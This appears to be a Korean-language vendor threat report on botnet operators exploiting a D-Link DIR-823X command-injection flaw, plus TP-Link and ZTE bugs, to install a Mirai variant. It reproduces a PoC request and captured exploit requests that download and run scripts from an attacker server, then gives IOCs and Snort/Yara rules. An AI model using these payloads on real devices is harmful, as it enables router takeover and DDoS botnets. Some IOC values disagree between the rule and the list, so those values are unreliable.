핵심 내용
Akamai 보안 인텔리전스 대응팀(SIRT)은 D-Link DIR-823X 시리즈 라우터를 대상으로 한 명령어 삽입 취약점 CVE-2025-29635의 실제 악용을 확인했습니다. 해당 디바이스는 2025년에 단종되었지만, 공격자들은 이 취약점을 이용해 Mirai 봇넷 변종을 배포하고 있습니다.
SIRT는 2026년 3월에 글로벌 허니팟 네트워크에서 해당 취약점의 활동을 처음 확인했습니다. 이는 2025년 3월 해당 취약점이 처음 공개된 이후 보고된 첫 번째 실제 악용 사례입니다.
이번 블로그 게시물에는 이 위협에 대한 방어에 도움이 될 수 있는 감염 지표(IOC) 목록이 포함되어 있습니다.
D-Link 실제 악용 시도 발견
Akamai SIRT는 2026년 3월 초 Akamai의 글로벌 허니팟 네트워크에서 D-Link 명령어 삽입 취약점 CVE-2025-29635의 실제 악용 시도를 발견했습니다. 이 취약점은 펌웨어 버전 240126 및 24082를 실행하는 D-Link DIR-823X 시리즈 라우터에 존재하며, 권한이 있는 공격자가 /goform/set_prohibiting 엔드포인트로 POST 요청을 전송해 해당 기능을 호출함으로써 원격 디바이스에서 임의의 명령을 실행할 수 있게 합니다.
CVE-2025-29635 펌웨어 취약점 분석
2025년 3월 말 공개된 CVE-2025-29635는 D-Link DIR-823X 시리즈 라우터의 명령어 삽입 취약점으로, 펌웨어 버전 240126 및 24082에 영향을 미칩니다. 벤더사의 공개 내용에 따르면 해당 라우터는 2025년 9월 기준 지원 종료된 디바이스입니다.
보안 연구원 왕 진슈아이(Wang Jinshuai)와 자오장팅(Zhao Jiangting)은 해당 취약점을 발견해 보고했으며, 그림 1의 바이너리 파일에서 sub_42232C 함수를 리버스 엔지니어링했습니다. 연구원들은 macaddr 값이 snprintf 함수에 의해 command 변수로 복사된 뒤 system 함수가 실행된다는 사실을 확인했습니다. 공격자는 macaddr 값을 악의적으로 조작한 후 /goform/set_prohibiting으로 POST 요청을 제출해 명령 실행을 유발할 수 있습니다.
연구원들은 공개 개념 증명(PoC) 악용을 GitHub에 공유하고 CVE 공개 자료에 연결했지만, 이후 해당 자료는 삭제되었습니다(그림 2). 이 블로그 게시물 작성 시점 기준, 해당 취약점은 CISA의 알려진 악용 취약점 카탈로그에 포함되어 있지 않았습니다.
POST /goform/set_prohibiting HTTP/1.1
Host: 192.168.122.130
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 75
Origin: http://192.168.122.130
Connection: close
Referer: http://192.168.122.130/login.html
Cookie: sessionid=00000000000000000000000000000000; token=00000000000000000000000000000000
macaddr=||touch%20/set_prohibiting||&token=00000000000000000000000000000000
허니팟 데이터에서 실제 봇넷 캠페인 확인
Akamai SIRT는 2026년 3월 초 Akamai의 글로벌 허니팟 네트워크에서 CVE-2025-29635의 실제 악용 시도를 발견했습니다(그림 3).
POST /goform/set_prohibiting HTTP/1.1
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
parameter=;cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; busybox wget http://88.214.20[.]14/dlink.sh -O dlink.sh; curl -o dlink.sh http://88.214.20[.]14/dlink.sh; wget http://88.214.20[.]14/dlink.sh; chmod 777 dlink.sh; sh dlink.sh; tftp 88.214.20[.]14 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 88.214.20[.]14; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 88.214.20[.]14 ftp1.sh ftp1.sh; sh ftp1.sh;
그림 3에 표시된 요청의 대부분은 그림 2의 PoC 익스플로잇과 일치하지만, 몇 가지 중요한 차이점이 있습니다. 먼저, 이 시도에는 리퍼러(Referer)나 언어 수락(Accept-Language)과 같은 특정 헤더가 포함되어 있지 않습니다. 또한 헤더나 본문 어디에도 토큰 또는 세션 ID 형태의 인증 정보가 제공되지 않습니다.
그러나 펌웨어가 이러한 필드와 값의 존재 여부나 유효성을 제대로 검증하지 않는 것으로 보입니다. 이 취약점으로 인해 라우터는 요청 본문에서 command 버퍼로 들어가는 값을 추출하면서, 해당 값이 어떤 폼 필드에서 왔는지 확인하지 않습니다. 파서가 본문의 모든 키-값 쌍을 macaddr 필드 후보로 처리하거나, 본문 전체를 버퍼에 복사한다면, 공격자는 parameter와 같은 임의의 이름으로 악성 페이로드를 전달할 수 있습니다.
따라서 이 악용 시도는 PoC 익스플로잇과 몇 가지 중요한 차이가 있지만, 동일한 취약 코드 경로를 표적으로 삼고 동일한 system() 호출을 트리거해 제공된 셸 명령 체인을 실행합니다.
Mirai 변종 기술적 분석
악용 시도에서 로드된 셸 스크립트는 매우 단순하고 직관적이며, 동일한 다운로더 IP 주소 88.214.20[.]14에서 다양한 아키텍처를 지원하는 “tuxnokill”이라는 Mirai 멀웨어 페이로드를 가져와 로드합니다. 멀웨어 자체는 XOR 인코딩이 적용된 일반적인 Mirai 멀웨어 변종으로 보이며, 복호화 키는 0x30입니다. 또한 Mirai 페이로드에서 흔히 볼 수 있는 하드코딩된 콘솔 실행 문자열인 “segmentation fault (core dumped)”와 하드코딩된 다운로더 IP도 포함되어 있습니다. 샌드박스 연결을 기준으로, 명령 및 제어 IP 주소는 64.89.161[.]130이며 포트는 44300입니다.
일부 공격자들이 페이로드를 바이브 코딩하기 시작한 것과 달리, 이 공격자는 멀웨어에 하드코딩된 문자열 “AI.NEEDS.TO.DIE”를 남긴 것으로 보아 전통적인 방식으로 페이로드를 코딩한 것으로 추정됩니다. 이 멀웨어에서 관찰된 공격 명령은 비교적 일반적인 형태입니다(그림 4).
TCP STOMP
TCP ACK
TCP SYN
STD
GRE ETH
UDP DNS
UDP VSE
UDP PLAIN
UDP GENERIC
RAW
XMAS
HTTP NULL
TP-Link 및 ZTE 취약점 악용 세례 관찰
CVE-2025-29635를 표적으로 삼은 것 외에도, 이 공격자가 Akamai 허니팟 네트워크에서 다른 두 가지 취약점의 악용을 시도한 사실도 관찰했습니다. TP-Link Archer AX21 디바이스에 영향을 미치는 CVE-2023-1389(그림 5)와 ZTE ZXV10 H108L 라우터 원격 코드 실행(RCE) 익스플로잇(그림 6)입니다.
POST /cgi-bin/luci/;stok=/local?form=country HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept-Encoding: identity
Content-Type: application/x-www-form-urlencoded
operation=write&country=$(id>curl -o tplinkwan.sh http://88.214.20[.]14/tplinkwan.sh; wget http://88.214.20[.]14/tplinkwan.sh; chmod 777 tplinkwan.sh; sh tplinkwan.sh; tftp 88.214.20[.]14 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 88.214.20[.]14; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 88.214.20[.]14 ftp1.sh ftp1.sh; sh ftp1.sh)
POST /manager_dev_ping_t HTTP/1.1
Host: honeypot_ip:8083
User-Agent: Go-http-client/1.1
Accept-Encoding: identity
Content-Type: application/x-www-form-urlencoded
&Host=;$(cd /tmp;wget http://88.214.20[.]14/bins/tux.mips; chmod 777 tux.mips; ./tux.mips zte)&NumofRepeat=1&DataBlockSize=64&DiagnosticsState=Requested&IF_ACTION=new&IF_IDLE=submit
결론
Mirai 멀웨어 캠페인은 계속해서 업계에 피해를 주고 있으며, 원본 소스 코드의 상당 부분이 숙련된 공격자와 미숙련 공격자 모두에 의해 계속 재사용되고 있습니다. 진입 장벽이 낮고 금전적 이익을 얻을 가능성이 있다는 점은 개인이 봇넷 분야에 뛰어들어 사이버 공격자가 되도록 유인하는 요인 중 하나일 수 있습니다.
이 공격자는 AI에 강한 반감을 가지고 있는 것으로 보이지만, 다른 많은 공격자는 AI를 악의적인 목적에 활용할 수 있는 툴로 볼 것입니다. 멀웨어 코딩을 돕는 데 사용하든, 악용할 새로운 취약점을 식별하는 데 사용하든, AI의 잠재력은 공격자와 사이버 방어자 모두에게 존재합니다.
봇넷 분야의 많은 공격자들은 주로 오래된 취약점을 노리는 경향이 있습니다. 특히 이러한 취약점에 대한 공개 PoC 익스플로잇이 존재하는 경우, 공격자는 이를 자신의 악용 기법에 쉽게 포함할 수 있습니다.
안타깝게도 전 세계의 많은 기업은 디바이스를 잘못 설정하거나, 적시에 패치를 적용하지 않거나, D-Link 823X 시리즈 라우터 사례처럼 지원이 종료된 취약 디바이스를 계속 사용합니다. 각 기업은 자체 운영 보안을 보장하기 위해 인프라와 관련된 취약점 공개 내용을 정기적으로 모니터링하고, 적절한 패치, 업그레이드, 보호 조치를 적용할 것을 강력히 권장합니다.
Akamai와 항상 함께하세요
IOC
보안팀을 돕기 위해 IOC 목록과 Snort 및 Yara 룰을 포함시켰습니다.
악성 IP에 대한 Snort 룰
alert ip any any -> [88.214.20.14, 64.89.161.130] any (
msg:"Possible Botnet Infrastructure Activity - Suspicious IP";
sid:2000003;
rev:1;
threshold:type limit, track by_src, count 1, seconds 600;
classtype:trojan-activity;
metadata:service http, malware;
)
멀웨어 샘플에 대한 Yara 룰
rule Mirai_Malware_IOCs_1
{
meta:
description = "Detects files containing IOCs associated with potential Mirai malware"
author = "Akamai SIRT"
date = "2026-03-27"
source = "Akamai SIRT"
malware_family = "Mirai"
version = "1.0"
strings:
$string1 = "segmentation fault (core dumped)"
$string2 = “AI.NEEDS.TO.DIE”
$ip1 = "88.214.20.14"
$ip2 = "64.89.161.13"
$hash1 = "32ca4b70e84787144574bfdb85a0092f3ebf524bb78febdd28d4c832b53fe100"
$hash2 = "be902e86ec68515e23a3387a21e80d098d258223ce562598c27ee6d89b83ff2b"
$hash3 = "d232c0960f24ba4bb369821b1bf2836d9e576a34fa3ddca2618c80b2f54277f7"
$hash4 = "7792f5c1d5c6c6415732ba0f63328549e19cc9c182c258c17b97b77fdb5541b8"
$hash5 = "72eff03b8573329818b38185074aa763e99d15f5709fecc44f9afece21dc06d8"
condition:
(
$string1 or
$string2 or
$ip1 or
$ip2 or
$hash1 or
$hash2 or
$hash3 or
$hash4 or
$hash5
)
}
악성 IPv4 주소
88.214.20.14
64.89.161.130
SHA256 해시
2ca4b70e84787144574bfdb85a0092f3ebf524bb78febdd28d4c832b53fe100
be902e86ec68515e23a3387a21e80d098d258223ce562598c27ee6d89b83ff2b
d232c0960f24ba4bb369821b1bf2836d9e576a34fa3ddca2618c80b2f54277f7
7792f5c1d5c6c6415732ba0f63328549e19cc9c182c258c17b97b77fdb5541b8
72eff03b8573329818b38185074aa763e99d15f5709fecc44f9afece21dc06d8
태그